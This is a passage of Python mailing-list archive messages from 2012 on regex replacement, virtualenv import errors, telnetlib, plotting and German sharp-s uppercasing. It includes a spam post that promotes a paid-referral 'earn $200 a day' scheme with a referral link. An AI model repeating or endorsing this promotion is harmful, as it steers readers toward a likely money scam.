Python 2.6 > > > > Regards, > > Thomas. Thanks Thomas for your time... using 2.7 great! From freejobonline1 at gmail.com Wed Dec 19 06:38:44 2012 From: freejobonline1 at gmail.com (freejobonline1 at gmail.com) Date: Wed, 19 Dec 2012 03:38:44 -0800 (PST) Subject: YOU CAN EARN $200 Day. Message-ID: <436d04d2-e127-4de0-9840-7a3c48ec4997@googlegroups.com> PART TIME JOBS You can join get free for $10 http://www.profitclicking.com/?r=J6pLs7V4sU Simple Work,No Experience Necessary, Excellent Rates of Pay,STEP by STEP INTRODUTION, http://www.profitclicking.com/?r=J6pLs7V4sU From matifayaz at gmail.com Wed Dec 19 06:53:07 2012 From: matifayaz at gmail.com (AT) Date: Wed, 19 Dec 2012 03:53:07 -0800 (PST) Subject: Pattern-match & Replace - help required In-Reply-To: References: Message-ID: On Wednesday, 19 December 2012 16:27:19 UTC+5, Thomas Bach wrote: > On Wed, Dec 19, 2012 at 02:42:26AM -0800, AT wrote: > > > Hi, > > > > > > I am new to python and web2py framework. Need urgent help to match a > > > pattern in an string and replace the matched text. > > > > > > > Well, what about str.replace then? > > > > >>> 'egg, ham, tomato'.replace('ham', 'spam, ham, spam') > > 'egg, spam, ham, spam, tomato' > > > > > > If the pattern you want to match is more complicated, have a look at > > the re module! > > > > Regards, > > Thomas. The pattern is '%s.enc_%s', and after matching this pattern want to change it to 'decrypt(%s.enc_%s)' Thanks From matifayaz at gmail.com Wed Dec 19 06:53:07 2012 From: matifayaz at gmail.com (AT) Date: Wed, 19 Dec 2012 03:53:07 -0800 (PST) Subject: Pattern-match & Replace - help required In-Reply-To: References: Message-ID: On Wednesday, 19 December 2012 16:27:19 UTC+5, Thomas Bach wrote: > On Wed, Dec 19, 2012 at 02:42:26AM -0800, AT wrote: > > > Hi, > > > > > > I am new to python and web2py framework. Need urgent help to match a > > > pattern in an string and replace the matched text. > > > > > > > Well, what about str.replace then? > > > > >>> 'egg, ham, tomato'.replace('ham', 'spam, ham, spam') > > 'egg, spam, ham, spam, tomato' > > > > > > If the pattern you want to match is more complicated, have a look at > > the re module! > > > > Regards, > > Thomas. The pattern is '%s.enc_%s', and after matching this pattern want to change it to 'decrypt(%s.enc_%s)' Thanks From laureote-loic at hotmail.fr Wed Dec 19 07:25:07 2012 From: laureote-loic at hotmail.fr (=?iso-8859-1?B?bG/vYyBMYXVy6W90ZQ==?=) Date: Wed, 19 Dec 2012 13:25:07 +0100 Subject: calculation on lists Message-ID: hi, I have a question, is there a tool to calculate on list ? something like : >a= [1,1,1,1] >b = [5,9,8,4] >c = a+b*a >print c >[6,10,9,5] Thx -------------- next part -------------- An HTML attachment was scrubbed... URL: From vlastimil.brom at gmail.com Wed Dec 19 07:38:28 2012 From: vlastimil.brom at gmail.com (Vlastimil Brom) Date: Wed, 19 Dec 2012 13:38:28 +0100 Subject: calculation on lists In-Reply-To: References: Message-ID: 2012/12/19 lo?c Laur?ote : hi, I have a question, is there a tool to calculate on list ? something like : >a= [1,1,1,1] >b = [5,9,8,4] >c = a+b*a >print c >[6,10,9,5] Thx ====== Hi, for such simpler cases, you may try list comprehensions and probably the zip(...) function >>> [a+b*a for a,b in zip([1,1,1,1], [5,9,8,4])] [6, 10, 9, 5] >>> hth, vbr From __peter__ at web.de Wed Dec 19 08:16:18 2012 From: __peter__ at web.de (Peter Otten) Date: Wed, 19 Dec 2012 14:16:18 +0100 Subject: Pattern-match & Replace - help required References: Message-ID: AT wrote: > I am new to python and web2py framework. Need urgent help to match a > pattern in an string and replace the matched text. > > I've this string (basically an sql statement): > stmnt = 'SELECT taxpayer.id, > taxpayer.enc_name, > taxpayer.age, > taxpayer.occupation > FROM taxpayer WHERE (taxpayer.id IS NOT NULL);' > > The requirement is to replace it with this one: > r_stmnt = 'SELECT taxpayer.id, > decrypt(taxpayer.enc_name), > taxpayer.age, > taxpayer.occupation > FROM taxpayer WHERE (taxpayer.id IS NOT NULL);' > > Can somebody please help? > The pattern is '%s.enc_%s', and after matching this pattern want to change > it to 'decrypt(%s.enc_%s)' after = re.compile(r"(\w+[.]enc_\w+)").sub(r"decrypt(\1)", before) From alister.ware at ntlworld.com Wed Dec 19 08:28:09 2012 From: alister.ware at ntlworld.com (Alister) Date: Wed, 19 Dec 2012 13:28:09 GMT Subject: Why Doesn't This MySQL Statement Execute? References: Message-ID: On Tue, 18 Dec 2012 17:34:08 -0400, Tom Borkin wrote: > Hi; > I have this test code: > > if i_id == "1186": > sql = 'insert into interactions values(Null, %s, "Call Back","% s")' % (i_id, date_plus_2) > cursor.execute(sql) Please don't build your sql strings like this but pass the data as paramaters something like sql="Insert into table (`field1`,`field2`) Values %s,%s" cursor.execute(sql,(data1,data2)) And Goolge SQL injection -- I can hire one half of the working class to kill the other half. -- Jay Gould From matifayaz at gmail.com Wed Dec 19 08:41:47 2012 From: matifayaz at gmail.com (AT) Date: Wed, 19 Dec 2012 05:41:47 -0800 (PST) Subject: Pattern-match & Replace - help required In-Reply-To: References: Message-ID: On Wednesday, 19 December 2012 18:16:18 UTC+5, Peter Otten wrote: > AT wrote: > > > > > I am new to python and web2py framework. Need urgent help to match a > > > pattern in an string and replace the matched text. > > > > > > I've this string (basically an sql statement): > > > stmnt = 'SELECT taxpayer.id, > > > taxpayer.enc_name, > > > taxpayer.age, > > > taxpayer.occupation > > > FROM taxpayer WHERE (taxpayer.id IS NOT NULL);' > > > > > > The requirement is to replace it with this one: > > > r_stmnt = 'SELECT taxpayer.id, > > > decrypt(taxpayer.enc_name), > > > taxpayer.age, > > > taxpayer.occupation > > > FROM taxpayer WHERE (taxpayer.id IS NOT NULL);' > > > > > > Can somebody please help? > > > > > The pattern is '%s.enc_%s', and after matching this pattern want to change > > > it to 'decrypt(%s.enc_%s)' > > > > after = re.compile(r"(\w+[.]enc_\w+)").sub(r"decrypt(\1)", before) Thanks a million Can you recommend a good online book/tutorial on regular expr. in python? Regards From matifayaz at gmail.com Wed Dec 19 08:41:47 2012 From: matifayaz at gmail.com (AT) Date: Wed, 19 Dec 2012 05:41:47 -0800 (PST) Subject: Pattern-match & Replace - help required In-Reply-To: References: Message-ID: On Wednesday, 19 December 2012 18:16:18 UTC+5, Peter Otten wrote: > AT wrote: > > > > > I am new to python and web2py framework. Need urgent help to match a > > > pattern in an string and replace the matched text. > > > > > > I've this string (basically an sql statement): > > > stmnt = 'SELECT taxpayer.id, > > > taxpayer.enc_name, > > > taxpayer.age, > > > taxpayer.occupation > > > FROM taxpayer WHERE (taxpayer.id IS NOT NULL);' > > > > > > The requirement is to replace it with this one: > > > r_stmnt = 'SELECT taxpayer.id, > > > decrypt(taxpayer.enc_name), > > > taxpayer.age, > > > taxpayer.occupation > > > FROM taxpayer WHERE (taxpayer.id IS NOT NULL);' > > > > > > Can somebody please help? > > > > > The pattern is '%s.enc_%s', and after matching this pattern want to change > > > it to 'decrypt(%s.enc_%s)' > > > > after = re.compile(r"(\w+[.]enc_\w+)").sub(r"decrypt(\1)", before) Thanks a million Can you recommend a good online book/tutorial on regular expr. in python? Regards From hugocoolens at gmail.com Wed Dec 19 08:47:30 2012 From: hugocoolens at gmail.com (hugocoolens) Date: Wed, 19 Dec 2012 05:47:30 -0800 (PST) Subject: [newbie] plotting pairs of data Message-ID: I have a data set for which x and y-values are presented as pairs of floating point numbers: e.g. 0.0364771 0.55569 is the first pair . 0.132688 0.808496 is the second pair . . The data is available in Python in this format: ['0.0364771 0.55569', '0.132688 0.808496', '0.232877 0.832833', '0.332702 0.849128', '0.432695 0.862158'] I suppose it is possible to plot x versus y using matplotlib, maybe separating the data first in two arrays, but I'm not sure whether this is necessary. Can anyone here help me further thanks hugo From news at blinne.net Wed Dec 19 09:11:08 2012 From: news at blinne.net (Alexander Blinne) Date: Wed, 19 Dec 2012 15:11:08 +0100 Subject: Pattern-match & Replace - help required In-Reply-To: References: Message-ID: <50d1cafc$0$6563$9b4e6d93@newsspool4.arcor-online.net> Am 19.12.2012 14:41, schrieb AT: > Thanks a million > Can you recommend a good online book/tutorial on regular expr. in python? http://docs.python.org/3/howto/regex.html From rhythmicdevil at gmail.com Wed Dec 19 09:14:54 2012 From: rhythmicdevil at gmail.com (rhythmicdevil at gmail.com) Date: Wed, 19 Dec 2012 06:14:54 -0800 (PST) Subject: Virtualenv loses context Message-ID: <1a2ff5a4-bc31-4581-b2d2-460d867b49b5@googlegroups.com> I am somewhat new to Python and virtualenv. I have setup a virtualenv with no site packages under the assumption that all 3rd party packages will be installed into the site-packages directory for the virtualenv. Another assumption I have about virtualenv is that it's completely self contained. When I first setup the virtualenv, install my packages and then install my application both of those assumptions seem to be correct. However, at some point I start getting ImportErrors. The be clear, I tested the application and it was all working correctly, the ImportErrors seem to show up at some random point that I cannot reproduce. I have a requirements file that I made with 'pip freeze'. I try to use this to reinstall the packages but I get errors saying that I cannot install to the location. The location is the global site-packages directory on my system. I have the virtualenv activated while installing so I dont know why this is happening. Due to something about Centos6 I cant install M2Crypto using pip and have to do it manually. This gives me the same types of errors: (botnet_etl)[swright at localhost M2Crypto]$ ./fedora_setup.sh install running install error: can't create or remove files in install directory The following error occurred while trying to add or remove files in the installation directory: [Errno 13] Permission denied: '/usr/lib64/python2.6/site-packages/test-easy-inst all-29133.write-test' The installation directory you specified (via --install-dir, --prefix, or the distutils default setting) was: /usr/lib64/python2.6/site-packages/ Perhaps your account does not have write access to this directory? If the installation directory is a system-owned directory, you may need to sign in as the administrator or "root" account. If you do not have administrative access to this machine, you may wish to choose a different installation directory, preferably one that is listed in your PYTHONPATH environment variable. For information on other options, you may wish to consult the documentation at: http://peak.telecommunity.com/EasyInstall.html Please make the appropriate changes for your system and try again. The only fix I have managed for this problem so far is to reinstall the entire virtualenv from scratch. This works fine for a while and I have to repeat the process. I would think that I was doing something wrong if the ImportErrors showed up every time I attempt to run the app but the fact that they show up later leads me to believe something funky is going on. Os = Centos6 Python = 2.6.6 Thanks Steve From prof.asoares at gmail.com Wed Dec 19 09:22:55 2012 From: prof.asoares at gmail.com (Alexsandro Soares) Date: Wed, 19 Dec 2012 12:22:55 -0200 Subject: Fuzzy Logic Library for Python 3 Message-ID: Hi all, I'm trying to build an fuzzy expert system in Python 3 and I need a good recommendation for a library/package for this, but working in Python 3.2. Some options are pyfuzzy and pyfuzzylib, but I was not succeed to install these packages with Python 3. Thanks in advance for any answer. Cheers, Alex -------------- next part -------------- An HTML attachment was scrubbed... URL: From wxjmfauth at gmail.com Wed Dec 19 09:23:00 2012 From: wxjmfauth at gmail.com (wxjmfauth at gmail.com) Date: Wed, 19 Dec 2012 06:23:00 -0800 (PST) Subject: Py 3.3, unicode / upper() Message-ID: <2adb4a25-8ea3-441f-b8c0-ee6c87e4b19f@googlegroups.com> I was using the German word "Stra?e" (Strasse) ? German translation from "street" ? to illustrate the catastrophic and completely wrong-by-design Unicode handling in Py3.3, this time from a memory point of view (not speed): >>> sys.getsizeof('Stra?e') 43 >>> sys.getsizeof('STRA?E') 50 instead of a sane (Py3.2) >>> sys.getsizeof('Stra?e') 42 >>> sys.getsizeof('STRA?E') 42 But, this is not the problem. I was suprised to discover this: >>> 'Stra?e'.upper() 'STRASSE' I really, really do not know what I should think about that. (It is a complex subject.) And the real question is why? jmf From rhythmicdevil at gmail.com Wed Dec 19 09:23:00 2012 From: rhythmicdevil at gmail.com (rhythmicdevil at gmail.com) Date: Wed, 19 Dec 2012 06:23:00 -0800 (PST) Subject: Virtualenv loses context In-Reply-To: <1a2ff5a4-bc31-4581-b2d2-460d867b49b5@googlegroups.com> References: <1a2ff5a4-bc31-4581-b2d2-460d867b49b5@googlegroups.com> Message-ID: <911d2950-4d1f-4c03-bd4c-d30072f25d9d@googlegroups.com> I wrote this little test script to prove my virtualenv is reading from global site packages: Script Content from distutils.sysconfig import get_python_lib print (get_python_lib()) Script Output (botnet_etl)[swright at localhost app]$ python test.py /usr/lib/python2.6/site-packages (botnet_etl)[swright at localhost app]$ Please note that (botnet_etl) is the name of the virtualenv From python at mrabarnett.plus.com Wed Dec 19 09:23:45 2012 From: python at mrabarnett.plus.com (MRAB) Date: Wed, 19 Dec 2012 14:23:45 +0000 Subject: Pattern-match & Replace - help required In-Reply-To: <50d1cafc$0$6563$9b4e6d93@newsspool4.arcor-online.net> References: <50d1cafc$0$6563$9b4e6d93@newsspool4.arcor-online.net> Message-ID: <50D1CDF1.9060207@mrabarnett.plus.com> On 2012-12-19 14:11, Alexander Blinne wrote: > Am 19.12.2012 14:41, schrieb AT: >> Thanks a million >> Can you recommend a good online book/tutorial on regular expr. in python? > > http://docs.python.org/3/howto/regex.html > Another good resource is: http://www.regular-expressions.info/ From rhythmicdevil at gmail.com Wed Dec 19 09:28:42 2012 From: rhythmicdevil at gmail.com (rhythmicdevil at gmail.com) Date: Wed, 19 Dec 2012 06:28:42 -0800 (PST) Subject: Virtualenv loses context In-Reply-To: <1a2ff5a4-bc31-4581-b2d2-460d867b49b5@googlegroups.com> References: <1a2ff5a4-bc31-4581-b2d2-460d867b49b5@googlegroups.com> Message-ID: <2f059651-a1d4-46e2-a3eb-d364e9affff6@googlegroups.com> This may have something to do with it. I create the virtualenv in: /home/swright/workspace/botnet_etl/ After I install my app the directory structure looks like this: (botnet_etl)[swright at localhost botnet_etl]$ ll total 32 drwxrwxr-x 4 swright swright 4096 Dec 19 09:21 app drwxrwxr-x 3 swright swright 4096 Dec 18 10:34 bin drwxrwxr-x 9 swright swright 4096 Dec 18 10:24 build drwxrwxr-x 3 swright swright 4096 Dec 18 10:34 include drwxrwxr-x 4 swright swright 4096 Dec 18 10:34 lib -rw-rw-r-- 1 swright swright 1973 Dec 17 15:35 README -rw-rw-r-- 1 swright swright 109 Dec 17 15:35 stable-req.txt drwxrwxr-x 3 swright swright 4096 Dec 17 15:35 utils When I run the following command the path is not showing up which is probably what is causing the problem. I have to reinstall from scratch to see if this is different at install time. But, am I supposed to create virtualenv in specific location in the file system? That seems a little odd. From winona_whitener at yahoo.com Wed Dec 19 09:28:57 2012 From: winona_whitener at yahoo.com (winona_whitener at yahoo.com) Date: Wed, 19 Dec 2012 06:28:57 -0800 (PST) Subject: Telnetlib and special quit characters with Ctrl, oh my! Message-ID: Greetings all, I am using telnetlib and the box that I'm connecting to has a special escape sequence--^]--to leave the prompt and go back to the regular telnet prompt. For example, from teh command line I do this: telnet 123.12.123.0 Login:> xxxxxx Password:> xxxxxxx Welcome. Connected to '123.12.123.0'. Escape character is '^]'. #> (some commands) (responses) When I pressing and hold Ctrl and then ], I go back to my normal telnet prompt and can quit. Using telnetlib, I can send commands and get responses. But I'm stuck on sending the ctrl+]! Is there some escape character--\c?--or a keycode like \^ to send through telnetlib? Telnetlib is doing what I need it to, but the read_until command that I'm familiar appears to be getting stuck on the fact that I never leave the connection properly--like I would normally do with an "exit" or "quit". As always, I'm glad for comments and pointers in the right direction! Thank you all in advance, newbo From rhythmicdevil at gmail.com Wed Dec 19 09:30:23 2012 From: rhythmicdevil at gmail.com (rhythmicdevil at gmail.com) Date: Wed, 19 Dec 2012 06:30:23 -0800 (PST) Subject: Virtualenv loses context In-Reply-To: <1a2ff5a4-bc31-4581-b2d2-460d867b49b5@googlegroups.com> References: <1a2ff5a4-bc31-4581-b2d2-460d867b49b5@googlegroups.com> Message-ID: <2de7850b-8669-45bc-b9f6-e8e753e72acf@googlegroups.com> This may have something to do with it. I create the virtualenv in: /home/swright/workspace/botnet_etl/ After I install my app the directory structure looks like this: (botnet_etl)[swright at localhost botnet_etl]$ ll total 32 drwxrwxr-x 4 swright swright 4096 Dec 19 09:21 app drwxrwxr-x 3 swright swright 4096 Dec 18 10:34 bin drwxrwxr-x 9 swright swright 4096 Dec 18 10:24 build drwxrwxr-x 3 swright swright 4096 Dec 18 10:34 include drwxrwxr-x 4 swright swright 4096 Dec 18 10:34 lib -rw-rw-r-- 1 swright swright 1973 Dec 17 15:35 README -rw-rw-r-- 1 swright swright 109 Dec 17 15:35 stable-req.txt drwxrwxr-x 3 swright swright 4096 Dec 17 15:35 utils When I run the following command the path is not showing up which is probably what is causing the problem. Clearly the site packages for my virtualenv are not listed. I have to reinstall from scratch to see if this is different at install time. (botnet_etl)[swright at localhost app]$ python -m site sys.path = [ '/home/swright/workspace/botnet_etl/app', '/usr/lib/python2.6/site-packages/pymongo-2.3-py2.6-linux-x86_64.egg', '/usr/lib/python2.6/site-packages/pip-1.2.1-py2.6.egg', '/usr/lib64/python26.zip', '/usr/lib64/python2.6', '/usr/lib64/python2.6/plat-linux2', '/usr/lib64/python2.6/lib-tk', '/usr/lib64/python2.6/lib-old', '/usr/lib64/python2.6/lib-dynload', '/usr/lib64/python2.6/site-packages', '/usr/lib64/python2.6/site-packages/gst-0.10', '/usr/lib64/python2.6/site-packages/gtk-2.0', '/usr/lib64/python2.6/site-packages/webkit-1.0', '/usr/lib/python2.6/site-packages', '/usr/lib/python2.6/site-packages/setuptools-0.6c11-py2.6.egg-info', ] USER_BASE: '/home/swright/.local' (exists) USER_SITE: '/home/swright/.local/lib/python2.6/site-packages' (doesn't exist) ENABLE_USER_SITE: True But, am I supposed to create virtualenv in specific location in the file system? That seems a little odd From rhythmicdevil at gmail.com Wed Dec 19 09:38:01 2012 From: rhythmicdevil at gmail.com (rhythmicdevil at gmail.com) Date: Wed, 19 Dec 2012 06:38:01 -0800 (PST) Subject: Virtualenv loses context In-Reply-To: <2de7850b-8669-45bc-b9f6-e8e753e72acf@googlegroups.com> References: <1a2ff5a4-bc31-4581-b2d2-460d867b49b5@googlegroups.com> <2de7850b-8669-45bc-b9f6-e8e753e72acf@googlegroups.com> Message-ID: <2cf07481-fc24-4d15-a434-abc1a3db01b7@googlegroups.com> Just installed a brand new virtualenv along with two packages. Ran this and I got nothing: (venvtest)[swright at localhost venvtest]$ python -m site (venvtest)[swright at localhost venvtest]$ I expected to have at least one path in sys.path From thbach at students.uni-mainz.de Wed Dec 19 09:38:30 2012 From: thbach at students.uni-mainz.de (Thomas Bach) Date: Wed, 19 Dec 2012 15:38:30 +0100 Subject: [newbie] plotting pairs of data In-Reply-To: References: Message-ID: <20121219143829.GD3965@taris.box> On Wed, Dec 19, 2012 at 05:47:30AM -0800, hugocoolens wrote: > The data is available in Python in this format: > ['0.0364771 0.55569', '0.132688 0.808496', '0.232877 0.832833', > '0.332702 0.849128', '0.432695 0.862158'] > > I suppose it is possible to plot x versus y using matplotlib, maybe > separating the data first in two arrays, but I'm not sure whether this > is necessary. I think, yes it is necessary to split the data in separate lists/arrays. Although I find it annoying, too. In case that not only the if, but also the how is the matter of your question something like xs = [ float(x) for x, _ in map(str.split, l) ] ys = [ float(y) for _, y in map(str.split, l) ] should do the trick. Regards, Thomas Bach. From rhythmicdevil at gmail.com Wed Dec 19 09:42:26 2012 From: rhythmicdevil at gmail.com (rhythmicdevil at gmail.com) Date: Wed, 19 Dec 2012 06:42:26 -0800 (PST) Subject: Virtualenv loses context In-Reply-To: <2de7850b-8669-45bc-b9f6-e8e753e72acf@googlegroups.com> References: <1a2ff5a4-bc31-4581-b2d2-460d867b49b5@googlegroups.com> <2de7850b-8669-45bc-b9f6-e8e753e72acf@googlegroups.com> Message-ID: Just installed a brand new virtualenv along with two packages. Ran this and I got nothing: (venvtest)[swright at localhost venvtest]$ python -m site (venvtest)[swright at localhost venvtest]$ I expected to have at least one path in sys.path [swright at localhost workspace]$ virtualenv --no-site-packages venvtest New python executable in venvtest/bin/python Installing setuptools............done. Installing pip...............done. [swright at localhost venvtest]$ source bin/activate (venvtest)[swright at localhost venvtest]$ python -m site (venvtest)[swright at localhost venvtest]$ (venvtest)[swright at localhost venvtest]$ pip install -r stable-req.txt Downloading/unpacking pycrypto==2.6 (from -r stable-req.txt (line 1)) Downloading pycrypto-2.6.tar.gz (443kB): 443kB downloaded Running setup.py egg_info for package pycrypto Downloading/unpacking pymongo==2.4 (from -r stable-req.txt (line 2)) Downloading pymongo-2.4.tar.gz (273kB): 273kB downloaded Running setup.py egg_info for package pymongo Downloading/unpacking yolk==0.4.3 (from -r stable-req.txt (line 3)) Downloading yolk-0.4.3.tar.gz (86kB): 86kB downloaded Running setup.py egg_info for package yolk warning: no files found matching '*.txt' under directory 'tests' warning: no files found matching '*.conf' under directory 'docs' warning: no files found matching '*.css_t' under directory 'docs' warning: no files found matching 'indexsidebar.html' under directory 'docs' warning: no files found matching 'tests/test_cli.py' Requirement already satisfied (use --upgrade to upgrade): setuptools in ./lib/python 2.6/site-packages/setuptools-0.6c11-py2.6.egg (from yolk==0.4.3->-r stable-req.txt ( line 3)) ... lots more text... (venvtest)[swright at localhost venvtest]$ pwd /home/swright/workspace/venvtest (venvtest)[swright at localhost venvtest]$ ll lib/python2.6/site-packages/ total 372 drwxrwxr-x 2 swright swright 4096 Dec 19 09:34 bson drwxrwxr-x 10 swright swright 4096 Dec 19 09:34 Crypto -rw-rw-r-- 1 swright swright 237 Dec 19 09:32 easy-install.pth drwxrwxr-x 2 swright swright 4096 Dec 19 09:34 gridfs drwxrwxr-x 4 swright swright 4096 Dec 19 09:32 pip-1.2.1-py2.6.egg drwxrwxr-x 2 swright swright 4096 Dec 19 09:34 pycrypto-2.6-py2.6.egg-info drwxrwxr-x 2 swright swright 4096 Dec 19 09:34 pymongo drwxrwxr-x 2 swright swright 4096 Dec 19 09:34 pymongo-2.4-py2.6.egg-info -rw-r--r-- 1 swright swright 333447 Dec 5 09:13 setuptools-0.6c11-py2.6.egg -rw-rw-r-- 1 swright swright 30 Dec 19 09:32 setuptools.pth drwxrwxr-x 3 swright swright 4096 Dec 19 09:34 yolk drwxrwxr-x 2 swright swright 4096 Dec 19 09:34 yolk-0.4.3-py2.6.egg-info (venvtest)[swright at localhost venvtest]$ From thbach at students.uni-mainz.de Wed Dec 19 09:43:57 2012 From: thbach at students.uni-mainz.de (Thomas Bach) Date: Wed, 19 Dec 2012 15:43:57 +0100 Subject: Py 3.3, unicode / upper() In-Reply-To: <2adb4a25-8ea3-441f-b8c0-ee6c87e4b19f@googlegroups.com> References: <2adb4a25-8ea3-441f-b8c0-ee6c87e4b19f@googlegroups.com> Message-ID: <20121219144357.GE3965@taris.box> On Wed, Dec 19, 2012 at 06:23:00AM -0800, wxjmfauth at gmail.com wrote: > I was suprised to discover this: > > >>> 'Stra?e'.upper() > 'STRASSE' > > I really, really do not know what I should think about that. > (It is a complex subject.) And the real question is why? Because there is no definition for upper-case '?'. 'SS' is used as the common replacement in this case. I think it's pretty smart! :) Regards, Thomas. From christian at python.org Wed Dec 19 09:52:23 2012 From: christian at python.org (Christian Heimes) Date: Wed, 19 Dec 2012 15:52:23 +0100 Subject: Py 3.3, unicode / upper() In-Reply-To: <2adb4a25-8ea3-441f-b8c0-ee6c87e4b19f@googlegroups.com> References: <2adb4a25-8ea3-441f-b8c0-ee6c87e4b19f@googlegroups.com> Message-ID: <50D1D4A7.4020108@python.org> Am 19.12.2012 15:23, schrieb wxjmfauth at gmail.com: > But, this is not the problem. > I was suprised to discover this: > >>>> 'Stra?e'.upper() > 'STRASSE' > > I really, really do not know what I should think about that. > (It is a complex subject.) And the real question is why? It's correct. LATIN SMALL LETTER SHARP S doesn't have an upper case form. However the unicode database specifies an upper case mapping from ? to SS. http://codepoints.net/U+00DF Christian From rosuav at gmail.com Wed Dec 19 09:57:18 2012 From: rosuav at gmail.com (Chris Angelico) Date: Thu, 20 Dec 2012 01:57:18 +1100 Subject: Telnetlib and special quit characters with Ctrl, oh my! In-Reply-To: References: Message-ID: On Thu, Dec 20, 2012 at 1:28 AM, wrote: > I am using telnetlib and the box that I'm connecting to has a special escape sequence--^]--to leave the prompt and go back to the regular telnet prompt. For example, from teh command line I do this: > ... > When I pressing and hold Ctrl and then ], I go back to my normal telnet prompt and can quit. > > Using telnetlib, I can send commands and get responses. But I'm stuck on sending the ctrl+]! Is there some escape character--\c?--or a keycode like \^ to send through telnetlib? The ctrl-] keystroke doesn't get sent down the wire, it's commands to the _local_ telnet. For instance, if your session has stalled, you can enter "^]close" to immediately disconnect. There won't be a direct way to drop to "command mode" inside telnetlib, but you can do similar actions with methods on the connection object (in that instance, close() will do the job). ChrisA From stefan-usenet at bytereef.org Wed Dec 19 10:01:40 2012 From: stefan-usenet at bytereef.org (Stefan Krah) Date: Wed, 19 Dec 2012 16:01:40 +0100 Subject: Py 3.3, unicode / upper() In-Reply-To: <2adb4a25-8ea3-441f-b8c0-ee6c87e4b19f@googlegroups.com> References: <2adb4a25-8ea3-441f-b8c0-ee6c87e4b19f@googlegroups.com> Message-ID: <20121219150140.GA24402@sleipnir.bytereef.org> wxjmfauth at gmail.com wrote: > But, this is not the problem. > I was suprised to discover this: > > >>> 'Stra?e'.upper() > 'STRASSE' > > I really, really do not know what I should think about that. > (It is a complex subject.) And the real question is why? http://de.wikipedia.org/wiki/Gro%C3%9Fes_%C3%9F#Versalsatz_ohne_gro.C3.9Fes_.C3.9F "Die gegenw?rtigen amtlichen Regeln[6] zur neuen deutschen Rechtschreibung kennen keinen Gro?buchstaben zum ?: Jeder Buchstabe existiert als Kleinbuchstabe und als Gro?buchstabe (Ausnahme ?). Im Versalsatz empfehlen die Regeln, das ? durch SS zu ersetzen: Bei Schreibung mit Gro?buchstaben schreibt man SS, zum Beispiel: Stra?e -- STRASSE." According to the new official spelling rules the uppercase ? does not exist. The recommendation is to use "SS" when writing in all-caps. As to why: It has always been acceptable to replace ? with "ss" when ? wasn't part of a character set. In the new spelling rules, ? has been officially replaced with "ss" in some cases: http://en.wiktionary.org/wiki/da%C3%9F The uppercase ? isn't really needed, since ? does not occur at the beginning of a word. As far as I know, most Germans wouldn't even know that it has existed at some point or how to write it. Stefan Krah From rhythmicdevil at gmail.com Wed Dec 19 10:06:11 2012 From: rhythmicdevil at gmail.com (rhythmicdevil at gmail.com) Date: Wed, 19 Dec 2012 07:06:11 -0800 (PST) Subject: Virtualenv loses context In-Reply-To: References: <1a2ff5a4-bc31-4581-b2d2-460d867b49b5@googlegroups.com> <2de7850b-8669-45bc-b9f6-e8e753e72acf@googlegroups.com> Message-ID: <27436cc7-febd-4644-b08e-367c26776446@googlegroups.com> So I reinstalled the virtualenv for my project from scratch. Application runs as expected. Here are the notes that I took while installing. Interestingly the command 'python -m site' produces no output now. Notice that before I reinstalled the virtualenv I got a bunch of paths from that command. I am going to reboot my machine to see if that does something. (must be used to windows) [swright at localhost workspace]$ virtualenv botnet_etl New python executable in botnet_etl/bin/python Installing setuptools............done. Installing pip...............done. [swright at localhost workspace]$ cd botnet_etl/ [swright at localhost botnet_etl]$ source bin/activate (botnet_etl)[swright at localhost botnet_etl]$ (botnet_etl)[swright at localhost botnet_etl]$ python -m site (botnet_etl)[swright at localhost botnet_etl]$ (botnet_etl)[swright at localhost botnet_etl]$ pip install -r stable-req.txt --- lots of text follows this for compiling and installing Install M2Crypto manually: Installed /home/swright/workspace/botnet_etl/lib/python2.6/site-packages/M2Crypto-0.21.1-py2.6-linux-x86_64.egg Processing dependencies for M2Crypto==0.21.1 Finished processing dependencies for M2Crypto==0.21.1 Install PySVN manually: (botnet_etl)[swright at localhost M2Crypto]$ cp -r ~/.virtualenvs/myvirtualenv/lib/python2.6/site-packages/pysvn ~/workspace/botnet_etl/lib/python2.6/site-packages/. (botnet_etl)[swright at localhost botnet_etl]$ python -m site (botnet_etl)[swright at localhost botnet_etl]$ From rosuav at gmail.com Wed Dec 19 10:17:36 2012 From: rosuav at gmail.com (Chris Angelico) Date: Thu, 20 Dec 2012 02:17:36 +1100 Subject: Py 3.3, unicode / upper() In-Reply-To: <2adb4a25-8ea3-441f-b8c0-ee6c87e4b19f@googlegroups.com> References: <2adb4a25-8ea3-441f-b8c0-ee6c87e4b19f@googlegroups.com> Message-ID: On Thu, Dec 20, 2012 at 1:23 AM, wrote: > But, this is not the problem. > I was suprised to discover this: > >>>> 'Stra?e'.upper() > 'STRASSE' > > I really, really do not know what I should think about that. > (It is a complex subject.) And the real question is why? Not all strings can be uppercased and lowercased cleanly. Please stop trotting out the old Box Hill-to-Camberwell arguments[1] yet again. For comparison, try this string: '?????, ?????!'.upper() And while you're at it, check out sys.getsizeof() on that sort of string, compare your beloved 3.2 on that. Oh, and also check out len() on it. [1] Melbourne's current ticketing system is based on zones, and Camberwell is in zone 1, and Box Hill in zone 2. Detractors of public transport point out that it costs far more to take the train from Box Hill to Camberwell than it does to drive a car the same distance. It's the same contrived example that keeps on getting trotted out time and time again. ChrisA From dfnsonfsduifb at gmx.de Wed Dec 19 10:18:38 2012 From: dfnsonfsduifb at gmx.de (Johannes Bauer) Date: Wed, 19 Dec 2012 16:18:38 +0100 Subject: Py 3.3, unicode / upper() In-Reply-To: <2adb4a25-8ea3-441f-b8c0-ee6c87e4b19f@googlegroups.com> References: <2adb4a25-8ea3-441f-b8c0-ee6c87e4b19f@googlegroups.com> Message-ID: On 19.12.2012 15:23, wxjmfauth at gmail.com wrote: > I was using the German word "Stra?e" (Strasse) ? German > translation from "street" ? to illustrate the catastrophic and > completely wrong-by-design Unicode handling in Py3.3, this > time from a memory point of view (not speed): > >>>> sys.getsizeof('Stra?e') > 43 >>>> sys.getsizeof('STRA?E') > 50 > > instead of a sane (Py3.2) > >>>> sys.getsizeof('Stra?e') > 42 >>>> sys.getsizeof('STRA?E') > 42 How do those arbitrary numbers prove anything at all? Why do you draw the conclusion that it's broken by design? What do you expect? You're very vague here. Just to show how ridiculously pointless your numers are, your example gives 84 on Python3.2 for any input of yours. > But, this is not the problem. > I was suprised to discover this: > >>>> 'Stra?e'.upper() > 'STRASSE' > > I really, really do not know what I should think about that. > (It is a complex subject.) And the real question is why? Because in the German language the uppercase "?" is virtually dead. Regards, Johannes -- >> Wo hattest Du das Beben nochmal GENAU vorhergesagt? > Zumindest nicht ?ffentlich! Ah, der neueste und 